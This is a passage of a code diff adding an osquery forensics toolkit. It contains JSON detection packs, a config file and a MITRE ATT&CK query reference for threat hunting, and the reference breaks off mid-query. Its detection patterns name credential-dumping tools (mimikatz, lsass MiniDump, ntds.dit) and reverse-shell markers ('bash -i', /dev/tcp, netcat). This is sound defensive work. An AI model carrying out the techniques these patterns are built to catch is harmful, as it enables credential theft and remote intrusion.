[references/platform-differences.md](references/platform-differences.md) +- Some tables require specific osquery versions or kernel features + +### Issue: High Resource Consumption + +**Solution**: Optimize query performance and scheduling +- Use indexed columns in WHERE clauses (pid, uid, path) +- Avoid unbounded queries without filters +- Reduce osqueryd query frequency in osquery.conf +- Limit result set sizes with LIMIT clause +- Monitor with: `SELECT * FROM osquery_info; SELECT * FROM osquery_schedule;` + +### Issue: Permission Denied Errors + +**Solution**: Ensure proper privilege escalation +- Run osqueryi with sudo/admin privileges: `sudo osqueryi` +- Some tables require root access (kernel_modules, process_memory_map) +- Check file permissions on osqueryd configuration files +- Review SELinux/AppArmor policies blocking osquery + +## Best Practices + +1. **Document Queries**: Maintain query library with descriptions and expected results +2. **Test Before Production**: Validate queries in lab before running on production systems +3. **Minimize Scope**: Use WHERE clauses to limit query scope and reduce performance impact +4. **Export Results**: Save query output for evidence preservation (`--json` or `--csv` flags) +5. **Correlate Findings**: Join multiple tables for comprehensive artifact analysis +6. **Version Control**: Track osquery configuration and query packs in Git +7. **Monitor Performance**: Watch osqueryd CPU/memory usage during scheduled queries +8. **Update Regularly**: Keep osquery updated for latest table schemas and security patches + +## MITRE ATT&CK Coverage + +osquery enables detection and investigation of techniques across the ATT&CK matrix: + +- **Initial Access**: Detect suspicious services and scheduled tasks (T1053) +- **Execution**: Monitor process creation and command-line arguments (T1059) +- **Persistence**: Identify registry modifications, cron jobs, startup items (T1547, T1053) +- **Privilege Escalation**: Find SUID binaries, sudo abuse, service creation (T1548, T1543) +- **Defense Evasion**: Detect process injection, file deletion, timestomping (T1055, T1070) +- **Credential Access**: Hunt for credential dumping tools and access (T1003, T1552) +- **Discovery**: Track system enumeration activities (T1082, T1083, T1057) +- **Lateral Movement**: Monitor remote service creation and authentication (T1021) +- **Collection**: Detect archive creation and data staging (T1560, T1074) +- **Exfiltration**: Identify unusual network connections and data transfers (T1041) + +See [references/mitre-attack-queries.md](references/mitre-attack-queries.md) for technique-specific detection queries. + +## References + +- [osquery GitHub Repository](https://github.com/osquery/osquery) +- [osquery Schema Documentation](https://osquery.io/schema/) +- [osquery Deployment Guide](https://osquery.readthedocs.io/en/stable/deployment/) +- [osquery SQL Reference](https://osquery.readthedocs.io/en/stable/introduction/sql/) +- [MITRE ATT&CK Framework](https://attack.mitre.org/) diff --git a/skills/incident-response/forensics-osquery/assets/.gitkeep b/skills/incident-response/forensics-osquery/assets/.gitkeep new file mode 100644 index 0000000..189ed78 --- /dev/null +++ b/skills/incident-response/forensics-osquery/assets/.gitkeep @@ -0,0 +1,9 @@ +# Assets Directory + +Place files that will be used in the output Claude produces: +- Templates +- Configuration files +- Images/logos +- Boilerplate code + +These files are NOT loaded into context but copied/modified in output. diff --git a/skills/incident-response/forensics-osquery/assets/forensic-packs/credential-access.conf b/skills/incident-response/forensics-osquery/assets/forensic-packs/credential-access.conf new file mode 100644 index 0000000..7ec32bc --- /dev/null +++ b/skills/incident-response/forensics-osquery/assets/forensic-packs/credential-access.conf @@ -0,0 +1,104 @@ +{ + "platform": "all", + "version": "1.0.0", + "description": "Detect credential dumping and credential access techniques", + "queries": { + "mimikatz_execution": { + "query": "SELECT pid, name, path, cmdline, parent FROM processes WHERE name IN ('mimikatz.exe', 'mimikatz', 'mimilib.dll') OR cmdline LIKE '%sekurlsa%' OR cmdline LIKE '%lsadump%';", + "interval": 300, + "description": "Mimikatz execution detection", + "platform": "windows" + }, + "lsass_process_access": { + "query": "SELECT pid, name, path, cmdline, parent FROM processes WHERE name IN ('procdump.exe', 'procdump64.exe', 'pwdump.exe', 'gsecdump.exe') OR cmdline LIKE '%procdump%lsass%' OR cmdline LIKE '%comsvcs.dll%MiniDump%';", + "interval": 300, + "description": "LSASS memory dumping tools", + "platform": "windows" + }, + "credential_file_access": { + "query": "SELECT p.name, p.cmdline, pm.path FROM processes p JOIN process_memory_map pm ON p.pid = pm.pid WHERE pm.path IN ('/etc/shadow', '/etc/passwd', '/etc/master.passwd', 'C:\\Windows\\System32\\config\\SAM', 'C:\\Windows\\System32\\config\\SECURITY') AND p.name NOT IN ('sshd', 'login', 'su', 'sudo', 'lsass.exe');", + "interval": 300, + "description": "Access to credential storage files" + }, + "shadow_file_reads": { + "query": "SELECT pid, name, cmdline FROM processes WHERE cmdline LIKE '%/etc/shadow%' AND name NOT IN ('sshd', 'login', 'passwd', 'useradd', 'usermod');", + "interval": 300, + "description": "Unauthorized /etc/shadow access", + "platform": "posix" + }, + "sam_registry_access": { + "query": "SELECT key, name, path FROM registry WHERE key LIKE '%SAM%' OR key LIKE '%SECURITY%';", + "interval": 600, + "description": "SAM registry key access", + "platform": "windows" + }, + "password_search": { + "query": "SELECT pid, name, cmdline FROM processes WHERE (cmdline LIKE '%grep%password%' OR cmdline LIKE '%find%password%' OR cmdline LIKE '%Select-String%password%' OR cmdline LIKE '%findstr%password%');", + "interval": 300, + "description": "Searching for password files" + }, + "credential_files": { + "query": "SELECT path, filename, size, mtime FROM file WHERE (filename LIKE '%password%' OR filename LIKE '%credential%' OR filename LIKE '%secret%' OR filename = '.bash_history' OR filename = '.zsh_history' OR filename LIKE '%.pem' OR filename LIKE '%.key') AND (path LIKE '/home/%' OR path LIKE '/Users/%' OR path LIKE 'C:\\Users\\%');", + "interval": 3600, + "description": "Credential-related files" + }, + "browser_credential_theft": { + "query": "SELECT pid, name, cmdline FROM processes WHERE cmdline LIKE '%Login Data%' OR cmdline LIKE '%logins.json%' OR cmdline LIKE '%key4.db%' OR cmdline LIKE '%Cookies%';", + "interval": 300, + "description": "Browser credential database access" + }, + "keychain_access": { + "query": "SELECT pid, name, cmdline FROM processes WHERE cmdline LIKE '%security%dump-keychain%' OR cmdline LIKE '%keychain%' OR name = 'security';", + "interval": 300, + "description": "macOS Keychain access", + "platform": "darwin" + }, + "dpapi_access": { + "query": "SELECT pid, name, cmdline FROM processes WHERE cmdline LIKE '%dpapi%' OR cmdline LIKE '%CryptUnprotectData%';", + "interval": 300, + "description": "Windows DPAPI credential access", + "platform": "windows" + }, + "ntds_dit_access": { + "query": "SELECT pid, name, cmdline FROM processes WHERE cmdline LIKE '%ntds.dit%';", + "interval": 300, + "description": "Active Directory database access", + "platform": "windows" + }, + "kerberos_ticket_theft": { + "query": "SELECT pid, name, cmdline FROM processes WHERE cmdline LIKE '%klist%' OR cmdline LIKE '%kerberos%' OR cmdline LIKE '%kirbi%' OR cmdline LIKE '%ccache%';", + "interval": 300, + "description": "Kerberos ticket manipulation" + }, + "sudo_without_password": { + "query": "SELECT pid, name, cmdline, uid FROM processes WHERE name = 'sudo' AND cmdline NOT LIKE '%-S%' AND uid != 0;", + "interval": 300, + "description": "Sudo usage potentially leveraging cached credentials", + "platform": "posix" + }, + "sudoers_file_access": { + "query": "SELECT path, mtime, ctime FROM file WHERE path IN ('/etc/sudoers', '/etc/sudoers.d') OR path LIKE '/etc/sudoers.d/%';", + "interval": 3600, + "description": "Sudoers file modification monitoring", + "platform": "posix" + }, + "ssh_private_keys": { + "query": "SELECT path, filename, mode, uid, gid FROM file WHERE filename LIKE 'id_%' AND path LIKE '%/.ssh/%' AND filename NOT LIKE '%.pub';", + "interval": 3600, + "description": "SSH private key files", + "platform": "posix" + }, + "powershell_credential_access": { + "query": "SELECT pid, name, cmdline FROM processes WHERE cmdline LIKE '%Get-Credential%' OR cmdline LIKE '%ConvertFrom-SecureString%' OR cmdline LIKE '%CredentialManager%';", + "interval": 300, + "description": "PowerShell credential access commands", + "platform": "windows" + }, + "registry_credential_storage": { + "query": "SELECT key, name, data FROM registry WHERE key LIKE '%Credentials%' OR key LIKE '%Password%';", + "interval": 3600, + "description": "Credentials stored in registry", + "platform": "windows" + } + } +} diff --git a/skills/incident-response/forensics-osquery/assets/forensic-packs/ir-triage.conf b/skills/incident-response/forensics-osquery/assets/forensic-packs/ir-triage.conf new file mode 100644 index 0000000..72f02e2 --- /dev/null +++ b/skills/incident-response/forensics-osquery/assets/forensic-packs/ir-triage.conf @@ -0,0 +1,80 @@ +{ + "platform": "all", + "version": "1.0.0", + "description": "Incident response triage queries for rapid forensic collection", + "queries": { + "system_info_snapshot": { + "query": "SELECT * FROM system_info;", + "interval": 0, + "snapshot": true, + "description": "Complete system information snapshot" + }, + "users_snapshot": { + "query": "SELECT uid, gid, username, description, directory, shell FROM users;", + "interval": 0, + "snapshot": true, + "description": "All user accounts" + }, + "logged_in_users": { + "query": "SELECT user, tty, host, time, pid FROM logged_in_users;", + "interval": 300, + "description": "Currently logged-in users" + }, + "last_logins": { + "query": "SELECT username, tty, pid, type, time, host FROM last ORDER BY time DESC LIMIT 50;", + "interval": 600, + "description": "Recent login history" + }, + "running_processes": { + "query": "SELECT pid, name, path, cmdline, cwd, uid, gid, parent, state, start_time FROM processes ORDER BY start_time DESC;", + "interval": 300, + "description": "All running processes with metadata" + }, + "processes_deleted_binary": { + "query": "SELECT pid, name, path, cmdline, parent FROM processes WHERE on_disk = 0;", + "interval": 300, + "description": "Processes with deleted executables (malware indicator)" + }, + "network_connections": { + "query": "SELECT p.pid, p.name, p.path, p.cmdline, ps.local_address, ps.local_port, ps.remote_address, ps.remote_port, ps.protocol, ps.state FROM processes p JOIN process_open_sockets ps ON p.pid = ps.pid WHERE ps.remote_address NOT IN ('127.0.0.1', '::1', '0.0.0.0');", + "interval": 300, + "description": "Active external network connections" + }, + "listening_ports": { + "query": "SELECT lp.pid, lp.port, lp.protocol, lp.address, p.name, p.path, p.cmdline FROM listening_ports lp LEFT JOIN processes p ON lp.pid = p.pid WHERE lp.address NOT IN ('127.0.0.1', '::1');", + "interval": 600, + "description": "Network services listening on external interfaces" + }, + "interface_addresses": { + "query": "SELECT interface, address, mask, broadcast, type FROM interface_addresses;", + "interval": 3600, + "description": "Network interface configuration" + }, + "arp_cache": { + "query": "SELECT address, mac, interface, permanent FROM arp_cache;", + "interval": 600, + "description": "ARP cache entries" + }, + "dns_resolvers": { + "query": "SELECT * FROM dns_resolvers;", + "interval": 3600, + "description": "Configured DNS resolvers" + }, + "tmp_directory_files": { + "query": "SELECT path, filename, size, mtime, ctime, atime, uid, gid, mode FROM file WHERE path LIKE '/tmp/%' OR path LIKE '/var/tmp/%' OR path LIKE 'C:\\Temp\\%' OR path LIKE 'C:\\Windows\\Temp\\%';", + "interval": 900, + "description": "Files in temporary directories", + "snapshot": true + }, + "recent_file_modifications": { + "query": "SELECT path, filename, size, mtime, uid, gid FROM file WHERE (path LIKE '/etc/%' OR path LIKE '/usr/bin/%' OR path LIKE 'C:\\Windows\\System32\\%') AND mtime > (strftime('%s', 'now') - 86400) ORDER BY mtime DESC LIMIT 100;", + "interval": 3600, + "description": "Recently modified system files (last 24 hours)" + }, + "user_groups": { + "query": "SELECT u.username, g.groupname FROM users u JOIN user_groups ug ON u.uid = ug.uid JOIN groups g ON ug.gid = g.gid WHERE g.groupname IN ('sudo', 'wheel', 'admin', 'root', 'Administrators');", + "interval": 3600, + "description": "Users in privileged groups" + } + } +} diff --git a/skills/incident-response/forensics-osquery/assets/forensic-packs/lateral-movement.conf b/skills/incident-response/forensics-osquery/assets/forensic-packs/lateral-movement.conf new file mode 100644 index 0000000..04be2a5 --- /dev/null +++ b/skills/incident-response/forensics-osquery/assets/forensic-packs/lateral-movement.conf @@ -0,0 +1,105 @@ +{ + "platform": "all", + "version": "1.0.0", + "description": "Detect lateral movement and remote access indicators", + "queries": { + "ssh_outbound_connections": { + "query": "SELECT p.pid, p.name, p.cmdline, ps.remote_address, ps.remote_port, ps.state FROM processes p JOIN process_open_sockets ps ON p.pid = ps.pid WHERE ps.remote_port = 22 AND p.name = 'ssh';", + "interval": 300, + "description": "Outbound SSH connections", + "platform": "posix" + }, + "rdp_connections": { + "query": "SELECT p.pid, p.name, p.path, p.cmdline, ps.remote_address, ps.remote_port, ps.state FROM processes p JOIN process_open_sockets ps ON p.pid = ps.pid WHERE ps.remote_port = 3389 OR p.name LIKE '%mstsc%' OR p.name LIKE '%rdp%';", + "interval": 300, + "description": "RDP connection attempts", + "platform": "windows" + }, + "smb_connections": { + "query": "SELECT pid, name, cmdline FROM processes WHERE cmdline LIKE '%\\\\\\\\%\\\\admin$%' OR cmdline LIKE '%\\\\\\\\%\\\\c$%' OR cmdline LIKE '%net use%';", + "interval": 300, + "description": "SMB/Windows Admin Share connections", + "platform": "windows" + }, + "psexec_indicators": { + "query": "SELECT pid, name, path, cmdline, parent FROM processes WHERE name LIKE '%psexec%' OR cmdline LIKE '%psexec%' OR path LIKE '%ADMIN$%';", + "interval": 300, + "description": "PsExec execution indicators", + "platform": "windows" + }, + "remote_wmi_execution": { + "query": "SELECT pid, name, cmdline FROM processes WHERE cmdline LIKE '%wmic%' AND cmdline LIKE '%/node:%';", + "interval": 300, + "description": "Remote WMI execution", + "platform": "windows" + }, + "winrm_activity": { + "query": "SELECT p.pid, p.name, ps.remote_address, ps.remote_port FROM processes p JOIN process_open_sockets ps ON p.pid = ps.pid WHERE ps.remote_port IN (5985, 5986);", + "interval": 300, + "description": "WinRM connections", + "platform": "windows" + }, + "unusual_login_locations": { + "query": "SELECT username, tty, host, time FROM logged_in_users WHERE host NOT IN ('localhost', '127.0.0.1', '') ORDER BY time DESC;", + "interval": 600, + "description": "Remote login sessions" + }, + "multiple_ssh_sessions": { + "query": "SELECT user, COUNT(*) AS session_count, GROUP_CONCAT(host) AS hosts FROM logged_in_users WHERE tty LIKE 'pts/%' GROUP BY user HAVING session_count > 2;", + "interval": 600, + "description": "Users with multiple SSH sessions", + "platform": "posix" + }, + "ssh_authorized_keys": { + "query": "SELECT path, filename, mtime, size FROM file WHERE path LIKE '/home/%/.ssh/authorized_keys' OR path LIKE '/root/.ssh/authorized_keys' OR path LIKE '/Users/%/.ssh/authorized_keys';", + "interval": 3600, + "description": "SSH authorized_keys file monitoring", + "platform": "posix" + }, + "ssh_known_hosts": { + "query": "SELECT path, filename, mtime, size FROM file WHERE path LIKE '/home/%/.ssh/known_hosts' OR path LIKE '/root/.ssh/known_hosts' OR path LIKE '/Users/%/.ssh/known_hosts';", + "interval": 3600, + "description": "SSH known_hosts file monitoring", + "platform": "posix" + }, + "smb_sessions": { + "query": "SELECT pid, name, cmdline, remote_address FROM process_open_sockets ps JOIN processes p ON ps.pid = p.pid WHERE ps.remote_port IN (445, 139);", + "interval": 300, + "description": "Active SMB connections" + }, + "admin_shares_access": { + "query": "SELECT pid, name, cmdline FROM processes WHERE cmdline LIKE '%ADMIN$%' OR cmdline LIKE '%IPC$%' OR cmdline LIKE '%C$%';", + "interval": 300, + "description": "Access to Windows admin shares", + "platform": "windows" + }, + "remote_registry_access": { + "query": "SELECT pid, name, cmdline FROM processes WHERE cmdline LIKE '%reg%' AND cmdline LIKE '%\\\\\\\\%';", + "interval": 300, + "description": "Remote registry access attempts", + "platform": "windows" + }, + "remote_scheduled_tasks": { + "query": "SELECT pid, name, cmdline FROM processes WHERE cmdline LIKE '%schtasks%' AND cmdline LIKE '%/s%';", + "interval": 300, + "description": "Remote scheduled task creation", + "platform": "windows" + }, + "remote_service_creation": { + "query": "SELECT pid, name, cmdline FROM processes WHERE cmdline LIKE '%sc%' AND cmdline LIKE '%\\\\\\\\%' AND cmdline LIKE '%create%';", + "interval": 300, + "description": "Remote service creation", + "platform": "windows" + }, + "vnc_connections": { + "query": "SELECT p.pid, p.name, ps.remote_address, ps.remote_port FROM processes p JOIN process_open_sockets ps ON p.pid = ps.pid WHERE ps.remote_port >= 5900 AND ps.remote_port <= 5999;", + "interval": 300, + "description": "VNC connection attempts" + }, + "suspicious_network_tools": { + "query": "SELECT pid, name, path, cmdline FROM processes WHERE name IN ('nmap', 'masscan', 'nc', 'netcat', 'socat', 'proxychains') OR cmdline LIKE '%nmap%' OR cmdline LIKE '%nc %-%';", + "interval": 300, + "description": "Network reconnaissance tools" + } + } +} diff --git a/skills/incident-response/forensics-osquery/assets/forensic-packs/persistence-hunt.conf b/skills/incident-response/forensics-osquery/assets/forensic-packs/persistence-hunt.conf new file mode 100644 index 0000000..9c57d9d --- /dev/null +++ b/skills/incident-response/forensics-osquery/assets/forensic-packs/persistence-hunt.conf @@ -0,0 +1,113 @@ +{ + "platform": "all", + "version": "1.0.0", + "description": "Hunt for persistence mechanisms across all platforms", + "queries": { + "crontab_monitoring": { + "query": "SELECT event, minute, hour, day_of_month, month, day_of_week, command, path FROM crontab;", + "interval": 3600, + "description": "Monitor cron jobs for persistence", + "platform": "posix" + }, + "suspicious_cron_commands": { + "query": "SELECT * FROM crontab WHERE command LIKE '%curl%' OR command LIKE '%wget%' OR command LIKE '%/tmp/%' OR command LIKE '%bash -i%' OR command LIKE '%python%socket%' OR command LIKE '%nc%';", + "interval": 1800, + "description": "Detect suspicious cron job commands", + "platform": "posix" + }, + "systemd_units": { + "query": "SELECT name, description, load_state, active_state, sub_state, fragment_path, source FROM systemd_units WHERE active_state = 'active';", + "interval": 3600, + "description": "Active systemd services", + "platform": "linux" + }, + "non_standard_systemd": { + "query": "SELECT name, fragment_path, active_state FROM systemd_units WHERE active_state = 'active' AND fragment_path NOT LIKE '/usr/lib/systemd/system/%' AND fragment_path NOT LIKE '/lib/systemd/system/%';", + "interval": 1800, + "description": "Non-standard systemd units (potential persistence)", + "platform": "linux" + }, + "launchd_monitoring": { + "query": "SELECT name, label, path, program, program_arguments, run_at_load, keep_alive FROM launchd WHERE run_at_load = 1;", + "interval": 3600, + "description": "macOS launch agents and daemons", + "platform": "darwin" + }, + "suspicious_launchd": { + "query": "SELECT * FROM launchd WHERE run_at_load = 1 AND (path LIKE '%/tmp/%' OR path LIKE '%/Users/%/Library/LaunchAgents/%' OR program LIKE '%curl%' OR program LIKE '%bash%');", + "interval": 1800, + "description": "Suspicious launch agents", + "platform": "darwin" + }, + "startup_items_mac": { + "query": "SELECT name, path, args, type, source, status FROM startup_items;", + "interval": 3600, + "description": "macOS startup items", + "platform": "darwin" + }, + "registry_run_keys": { + "query": "SELECT key, name, path, data, mtime FROM registry WHERE (key LIKE '%\\\\Run' OR key LIKE '%\\\\RunOnce') AND key NOT LIKE '%\\\\RunOnceEx';", + "interval": 1800, + "description": "Windows registry Run keys", + "platform": "windows" + }, + "suspicious_registry_entries": { + "query": "SELECT key, name, path, data FROM registry WHERE (key LIKE '%Run%' OR key LIKE '%RunOnce%') AND (data LIKE '%AppData%' OR data LIKE '%Temp%' OR data LIKE '%ProgramData%' OR data LIKE '%.vbs' OR data LIKE '%.js');", + "interval": 1800, + "description": "Suspicious registry persistence entries", + "platform": "windows" + }, + "scheduled_tasks": { + "query": "SELECT name, action, path, enabled, state, last_run_time, next_run_time FROM scheduled_tasks WHERE enabled = 1;", + "interval": 3600, + "description": "Windows scheduled tasks", + "platform": "windows" + }, + "suspicious_scheduled_tasks": { + "query": "SELECT name, action, path, enabled FROM scheduled_tasks WHERE enabled = 1 AND (action LIKE '%powershell%' OR action LIKE '%cmd%' OR action LIKE '%wscript%' OR action LIKE '%mshta%' OR action LIKE '%AppData%' OR action LIKE '%Temp%');", + "interval": 1800, + "description": "Suspicious scheduled tasks", + "platform": "windows" + }, + "windows_services": { + "query": "SELECT name, display_name, status, path, start_type, user_account FROM services WHERE start_type IN ('AUTO_START', 'DEMAND_START') ORDER BY status;", + "interval": 3600, + "description": "Windows services configuration", + "platform": "windows" + }, + "wmi_event_consumers": { + "query": "SELECT name, command_line_template, executable_path, script_file_name FROM wmi_cli_event_consumers;", + "interval": 1800, + "description": "WMI event consumers (persistence mechanism)", + "platform": "windows" + }, + "kernel_modules": { + "query": "SELECT name, size, used_by, status FROM kernel_modules;", + "interval": 3600, + "description": "Loaded Linux kernel modules", + "platform": "linux" + }, + "kernel_extensions_mac": { + "query": "SELECT name, version, path, linked_against FROM kernel_extensions WHERE loaded = 1;", + "interval": 3600, + "description": "Loaded macOS kernel extensions", + "platform": "darwin" + }, + "bash_profile_modifications": { + "query": "SELECT path, filename, mtime, ctime, size FROM file WHERE path IN ('/etc/profile', '/etc/bash.bashrc', '/etc/zshrc') OR path LIKE '/home/%/.bashrc' OR path LIKE '/home/%/.bash_profile' OR path LIKE '/home/%/.zshrc' OR path LIKE '/Users/%/.bashrc' OR path LIKE '/Users/%/.bash_profile' OR path LIKE '/Users/%/.zshrc';", + "interval": 3600, + "description": "Shell profile file modifications", + "platform": "posix" + }, + "browser_extensions_chrome": { + "query": "SELECT name, identifier, version, description, path, author FROM chrome_extensions;", + "interval": 3600, + "description": "Chrome browser extensions" + }, + "browser_extensions_firefox": { + "query": "SELECT name, identifier, version, description, source_url, visible FROM firefox_addons WHERE visible = 1;", + "interval": 3600, + "description": "Firefox browser add-ons" + } + } +} diff --git a/skills/incident-response/forensics-osquery/assets/osquery.conf b/skills/incident-response/forensics-osquery/assets/osquery.conf new file mode 100644 index 0000000..8005a6a --- /dev/null +++ b/skills/incident-response/forensics-osquery/assets/osquery.conf @@ -0,0 +1,77 @@ +{ + "options": { + "config_plugin": "filesystem", + "logger_plugin": "filesystem", + "logger_path": "/var/log/osquery", + "disable_logging": false, + "log_result_events": true, + "schedule_splay_percent": 10, + "pidfile": "/var/osquery/osquery.pidfile", + "events_expiry": 3600, + "database_path": "/var/osquery/osquery.db", + "verbose": false, + "worker_threads": 4, + "enable_monitor": true, + "disable_events": false, + "disable_audit": false, + "audit_allow_config": true, + "audit_allow_sockets": true, + "host_identifier": "hostname", + "enable_syslog": false, + "watchdog_level": 1, + "watchdog_memory_limit": 250, + "watchdog_utilization_limit": 20 + }, + + "schedule": { + "system_info": { + "query": "SELECT hostname, cpu_brand, physical_memory, hardware_model FROM system_info;", + "interval": 3600, + "description": "Collect basic system information" + }, + "os_version": { + "query": "SELECT name, version, platform, build FROM os_version;", + "interval": 3600, + "description": "OS version information" + }, + "logged_in_users": { + "query": "SELECT user, tty, host, time, pid FROM logged_in_users;", + "interval": 600, + "description": "Currently logged-in users" + }, + "running_processes": { + "query": "SELECT pid, name, path, cmdline, uid, parent FROM processes;", + "interval": 300, + "description": "Monitor running processes" + }, + "suspicious_processes": { + "query": "SELECT pid, name, path, cmdline, parent FROM processes WHERE on_disk = 0 OR path LIKE '%/tmp/%' OR path LIKE '%Temp%';", + "interval": 300, + "description": "Detect suspicious processes" + }, + "network_connections": { + "query": "SELECT p.pid, p.name, p.path, p.cmdline, ps.remote_address, ps.remote_port, ps.protocol, ps.state FROM processes p JOIN process_open_sockets ps ON p.pid = ps.pid WHERE ps.remote_address NOT IN ('127.0.0.1', '::1', '0.0.0.0');", + "interval": 600, + "description": "Active network connections" + }, + "listening_ports": { + "query": "SELECT lp.pid, lp.port, lp.protocol, lp.address, p.name, p.path FROM listening_ports lp LEFT JOIN processes p ON lp.pid = p.pid WHERE lp.address NOT IN ('127.0.0.1', '::1');", + "interval": 600, + "description": "Listening network ports" + } + }, + + "packs": { + "ir-triage": "/etc/osquery/packs/ir-triage.conf", + "persistence-hunt": "/etc/osquery/packs/persistence-hunt.conf", + "lateral-movement": "/etc/osquery/packs/lateral-movement.conf", + "credential-access": "/etc/osquery/packs/credential-access.conf" + }, + + "decorators": { + "load": [ + "SELECT uuid AS host_uuid FROM system_info;", + "SELECT user AS username FROM logged_in_users ORDER BY time DESC LIMIT 1;" + ] + } +} diff --git a/skills/incident-response/forensics-osquery/references/mitre-attack-queries.md b/skills/incident-response/forensics-osquery/references/mitre-attack-queries.md new file mode 100644 index 0000000..58ab589 --- /dev/null +++ b/skills/incident-response/forensics-osquery/references/mitre-attack-queries.md @@ -0,0 +1,539 @@ +# MITRE ATT&CK Detection Queries for osquery + +Pre-built osquery detection queries mapped to MITRE ATT&CK techniques for threat hunting and incident response. + +## Table of Contents + +- [Initial Access](#initial-access) +- [Execution](#execution) +- [Persistence](#persistence) +- [Privilege Escalation](#privilege-escalation) +- [Defense Evasion](#defense-evasion) +- [Credential Access](#credential-access) +- [Discovery](#discovery) +- [Lateral Movement](#lateral-movement) +- [Collection](#collection) +- [Exfiltration](#exfiltration) + +## Initial Access + +### T1078 - Valid Accounts + +Detect unusual account usage patterns. + +```sql +-- Unusual login times or locations +SELECT username, tty, host, time +FROM last +WHERE time > (strftime('%s', 'now') - 86400) +ORDER BY time DESC; + +-- Failed authentication attempts (requires auth logs) +SELECT * FROM logged_in_users WHERE user NOT IN (SELECT username FROM users); +``` + +### T1190 - Exploit Public-Facing Application + +Detect web server exploitation indicators. + +```sql +-- Web server processes spawning shells +SELECT p1.name AS webserver, p1.cmdline, + p2.name AS child_process, p2.cmdline AS child_cmdline +FROM processes p1 +JOIN processes p2 ON p1.pid = p2.parent +WHERE p1.name IN ('httpd', 'nginx', 'apache2', 'w3wp.exe', 'java') + AND p2.name IN ('bash', 'sh', 'cmd.exe', 'powershell.exe', 'python', 'perl'); +``` + +## Execution + +### T1059.001 - PowerShell + +Detect suspicious PowerShell execution. + +```sql +SELECT pid, name, path, cmdline, parent +FROM processes +WHERE name LIKE '%powershell%' + AND (cmdline LIKE '%EncodedCommand%' + OR cmdline LIKE '%-enc%' + OR cmdline LIKE '%FromBase64String%' + OR cmdline LIKE '%Invoke-Expression%' + OR cmdline LIKE '%IEX%' + OR cmdline LIKE '%DownloadString%' + OR cmdline LIKE '%-w hidden%' + OR cmdline LIKE '%-WindowStyle hidden%'); +``` + +### T1059.003 - Windows Command Shell + +Detect suspicious cmd.exe usage. + +```sql +SELECT pid, name, path, cmdline, parent +FROM processes +WHERE name = 'cmd.exe' + AND (cmdline LIKE '%/c%' + OR cmdline LIKE '%&%' + OR cmdline LIKE '%|%' + OR cmdline LIKE '%<%' + OR cmdline LIKE '%>%'); +``` + +### T1059.004 - Unix Shell + +Detect suspicious shell execution. + +```sql +SELECT pid, name, path, cmdline, parent, uid +FROM processes +WHERE name IN ('bash', 'sh', 'zsh', 'ksh') + AND (cmdline LIKE '%curl%http%' + OR cmdline LIKE '%wget%http%' + OR cmdline LIKE '%nc%' + OR cmdline LIKE '%netcat%' + OR cmdline LIKE '%/dev/tcp%' + OR cmdline LIKE '%base64%'); +``` + +### T1053 - Scheduled Task/Job + +Detect suspicious scheduled tasks. + +```sql +-- Suspicious cron jobs (Linux/macOS) +SELECT command, path, minute, hour +FROM crontab +WHERE command LIKE '%curl%' + OR command LIKE '%wget%' + OR command LIKE '%/tmp/%' + OR command LIKE '%bash -i%' + OR command LIKE '%python -c%'; + +-- Suspicious scheduled tasks (Windows) +SELECT name, action, path, enabled +FROM scheduled_tasks +WHERE enabled = 1 + AND (action LIKE '%powershell%' + OR action LIKE '%cmd%' + OR action LIKE '%wscript%' + OR action LIKE '%mshta%'); +``` + +## Persistence + +### T1547.001 - Registry Run Keys (Windows) + +Detect persistence via registry. + +```sql +SELECT key, name, path, data +FROM registry +WHERE (key LIKE '%\\Run' OR key LIKE '%\\RunOnce') + AND (data LIKE '%AppData%' + OR data LIKE '%Temp%' + OR data LIKE '%ProgramData%' + OR data LIKE '%.vbs' + OR data LIKE '%.js'); +``` + +### T1547.006 - Kernel Modules and Extensions + +Detect unauthorized kernel modules. + +```sql +-- Linux kernel modules +SELECT name, size, used_by, status +FROM kernel_modules +WHERE name NOT IN ( + 'ip_tables', 'x_tables', 'nf_conntrack', 'nf_defrag_ipv4', + 'iptable_filter', 'iptable_nat', 'ipt_MASQUERADE' +); + +-- macOS kernel extensions +SELECT name, version, path +FROM kernel_extensions +WHERE loaded = 1 + AND path NOT LIKE '/System/%' + AND path NOT LIKE '/Library/Extensions/%'; +``` + +### T1053.003 - Cron (Linux/macOS) + +Detect malicious cron jobs. + +```sql +SELECT event, command, path, minute, hour, day_of_week +FROM crontab +WHERE command LIKE '%curl%http%' + OR command LIKE '%wget%http%' + OR command LIKE '%bash -i%' + OR command LIKE '%python%socket%' + OR command LIKE '%nc%' + OR command LIKE '%/dev/tcp%' + OR path LIKE '%/tmp/%' + OR path LIKE '%/var/tmp/%'; +``` + +### T1543.002 - Systemd Service (Linux) + +Detect malicious systemd services. + +```sql +SELECT name, fragment_path, description, active_state +FROM systemd_units +WHERE active_state = 'active' + AND fragment_path NOT LIKE '/usr/lib/systemd/system/%' + AND fragment_path NOT LIKE '/lib/systemd/system/%'; +``` + +## Privilege Escalation + +### T1548.003 - Sudo and Sudo Caching + +Detect sudo abuse. + +```sql +SELECT pid, name, cmdline, uid, euid, parent +FROM processes +WHERE name = 'sudo' + AND (cmdline LIKE '%-i%' + OR cmdline LIKE '%-s%' + OR cmdline LIKE '%-u root%'); +``` + +### T1548.001 - Setuid and Setgid + +Find suspicious SUID/SGID binaries. + +```sql +SELECT path, filename, mode, uid, gid +FROM file +WHERE (mode LIKE '%4%' OR mode LIKE '%2%') + AND (path LIKE '/tmp/%' + OR path LIKE '/var/tmp/%' + OR path LIKE '/home/%' + OR path LIKE '/dev/shm/%'); +``` + +### T1543.001 - Launch Agent (macOS) + +Detect malicious launch agents. + +```sql +SELECT name, path, program, program_arguments, run_at_load +FROM launchd +WHERE run_at_load = 1 + AND (path LIKE '%/tmp/%' + OR path LIKE '%/Users/%/Library/LaunchAgents/%' + OR program LIKE '%curl%' + OR program LIKE '%bash%'); +``` + +## Defense Evasion + +### T1055 - Process Injection + +Detect process injection techniques. + +```sql +-- Windows process injection indicators +SELECT pid, name, path, cmdline +FROM processes +WHERE cmdline LIKE '%VirtualAllocEx%' + OR cmdline LIKE '%WriteProcessMemory%' + OR cmdline LIKE '%CreateRemoteThread%' + OR cmdline LIKE '%QueueUserAPC%' + OR cmdline LIKE '%SetThreadContext%'; + +-- Processes with deleted executables (Linux indicator) +SELECT pid, name, path, cmdline, parent +FROM processes +WHERE on_disk = 0; +``` + +### T1070.004 - File Deletion + +Detect log and evidence deletion. + +```sql +SELECT pid, name, cmdline, path +FROM processes +WHERE (cmdline LIKE '%rm%' + OR cmdline LIKE 